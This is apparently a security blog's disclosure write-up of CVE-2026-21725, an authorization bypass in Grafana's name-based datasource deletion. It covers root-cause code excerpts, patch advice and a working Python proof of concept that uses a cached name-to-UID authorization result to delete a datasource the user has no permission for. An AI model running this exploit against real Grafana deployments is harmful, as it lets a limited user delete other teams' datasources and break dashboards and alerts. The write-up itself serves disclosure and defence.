CVE-2026-21725 (grafana / cvss 2.6)

2026. 3. 2. 02:53·0-day

Summary

An authorization bypass vulnerability exists in Grafana’s datasource deletion API due to a TOCTOU (time-of-check to time-of-use) mismatch in the name-based delete path. The affected surface is Grafana’s datasource deletion feature and the endpoint DELETE /api/datasources/name/:name. The root cause is that the authorization layer resolves the name to a UID scope and caches the result, while the actual deletion is performed by datasource name. As a result, the authorization check and the deletion target can diverge, allowing a user with limited permissions to delete a datasource they are not permitted to delete, impacting integrity.

Description

Grafana checks the datasources:delete permission when deleting a datasource. In the name-based deletion path, Grafana converts the name scope to a datasource UID scope to evaluate authorization, and caches this resolution result. If the same datasource name is later reused for a different datasource UID, the authorization check can still pass using the cached (old) UID, while the actual deletion operates on the current datasource mapped to that name (the new UID). In other words, even though the permission model is designed around UID-scoped resources, the name-based delete path introduces a cache-assisted split between authorization and execution, enabling a permission bypass.

Expected Flow

Even for name-based deletion, the caller must have datasources:delete permission for the actual datasource UID being deleted. The name-to-UID resolution at request time and the UID of the datasource that is actually deleted must match, and the request must be denied if the caller lacks permission. Even if a UID changes due to name reuse, authorization must be evaluated against the latest UID.

Root Cause

The authorization check uses a cached UID when resolving the name scope to a UID scope, but the deletion is performed by datasource name and therefore deletes the latest datasource currently mapped to that name. This creates a TOCTOU condition where the authorization target and the deletion target can differ.

  • File: pkg/api/api.go
datasourceRoute.Delete("/name/:name",
  authorize(ac.EvalPermission(datasources.ActionDelete, nameScope)),
  routing.Wrap(hs.DeleteDataSourceByName))
  • File: pkg/services/datasources/service/datasource.go
func NewNameScopeResolver(...) ... {
    query := datasources.GetDataSourceQuery{Name: dsName, OrgID: orgID}
    dataSource, err := db.GetDataSource(ctx, &query)
    ...
    return []string{datasources.ScopeProvider.GetResourceScopeUID(dataSource.UID)}, nil
}
  • File: pkg/services/accesscontrol/resolvers.go
if cachedScope, ok := s.cache.Get(key); ok { ...return scopes,nil }
...
s.cache.Set(key, scopes, ttl)
  • File: pkg/api/datasources.go
cmd := &datasources.DeleteDataSourceCommand{Name: name, OrgID: c.GetOrgID()}
err = hs.DataSourcesService.DeleteDataSource(c.Req.Context(), cmd)

Therefore, authorization can pass based on a cached UID while the actual delete operation removes the current datasource referenced by the name, which deviates from the expected flow.

PoC

The PoC below reproduces the real name-based deletion scenario. The attacker has datasources:delete permission only for datasource A, but can delete datasource B after the name is reused.

import time
import requests
from requests.auth import HTTPBasicAuth

BASE = ""
ADMIN = HTTPBasicAuth("admin", "admin")
ATTACKER = HTTPBasicAuth("cacheatt", "attackpass")

# Setup: create datasource A
resp = requests.post(
    f"{BASE}/api/datasources",
    auth=ADMIN,
    json={"name": "cache-ds-demo", "type": "prometheus", "url": "<http://example.com>", "access": "proxy"},
)
resp.raise_for_status()
a_uid = resp.json()["datasource"]["uid"]

# 1) Attacker: delete by name (creates cache, deletes A)
r = requests.delete(f"{BASE}/api/datasources/name/cache-ds-demo", auth=ATTACKER)
print("delete A by name:", r.status_code, r.text)

# 2) Create a new datasource B with the same name
resp = requests.post(
    f"{BASE}/api/datasources",
    auth=ADMIN,
    json={"name": "cache-ds-demo", "type": "loki", "url": "<http://example.com>", "access": "proxy"},
)
resp.raise_for_status()
b_uid = resp.json()["datasource"]["uid"]
print("B uid:", b_uid)

# 3) Attacker: delete by the same name again (reuses cache, deletes B)
r = requests.delete(f"{BASE}/api/datasources/name/cache-ds-demo", auth=ATTACKER)
print("delete B by name:", r.status_code, r.text)

# 4) Verify: B is deleted
r = requests.get(f"{BASE}/api/datasources/uid/{b_uid}", auth=ADMIN)
print("B exists:", r.status_code)

Expected output:

  • The first delete returns 200 (success) and deletes A.
  • After recreating the datasource with the same name, the second delete returns 200 and deletes B.
  • A GET by B’s UID returns 404, confirming that B was deleted.

Impact

  • The attacker is an authenticated user and has datasources:delete permission only for a specific datasource A (UID-scoped).
  • The attacker first primes the name-to-UID authorization cache by calling the name-based delete endpoint, then exploits a name reuse / remapping event (delete-and-recreate, reprovisioning, name reuse) so that the same name points to a different UID (B).
  • Authorization passes using the cached old UID (A), but the delete operation removes the current datasource mapped to the name (B).
  • As a result, the attacker can bypass UID-scoped RBAC boundaries and delete an unauthorized datasource (B). In multi-team environments, this can lead to cross-team deletion of datasources, impacting integrity.
  • Datasource deletion can also cause dashboards to fail and alert evaluation/notification to stop, so availability impact may occur depending on the environment.

Patch Recommendation

  • At name-based deletion time, re-resolve the latest name→UID mapping and evaluate authorization against that UID.
  • Do not reuse cached name→UID scope resolution results for the delete path.
  • Perform the delete operation by UID rather than by name to eliminate mismatches between the authorization target and the deletion target.
  • Invalidate the scope-resolution cache immediately on datasource create/delete/rename events.

'0-day' 카테고리의 다른 글

CVE-2026-0994 (protobuf / cvss 8.2)  (0) 2026.02.28
CVE-2026-27966 (langflow / cvss 9.8)  (0) 2026.02.28
CVE-2026-28227(discourse / cvss 5.1)  (0) 2026.02.28
CVE-2026-22922(airflow / cvss 6.5)  (1) 2026.02.25
CVE-2026-21721(grafana / cvss 8.1)  (1) 2026.01.31
'0-day' 카테고리의 다른 글
  • CVE-2026-0994 (protobuf / cvss 8.2)
  • CVE-2026-27966 (langflow / cvss 9.8)
  • CVE-2026-28227(discourse / cvss 5.1)
  • CVE-2026-22922(airflow / cvss 6.5)
se1en
se1en
se1en의 보안 블로그
  • se1en
    se1en
    se1en
  • 전체
    오늘
    어제
    • 분류 전체보기 (13)
      • CTF (1)
      • 0-day (8)
      • About Me (1)
      • ai for security (3)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    버그바운티
    CTF
    웹해킹
    0-day
    Bugbounty
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
se1en
CVE-2026-21725 (grafana / cvss 2.6)
상단으로

티스토리툴바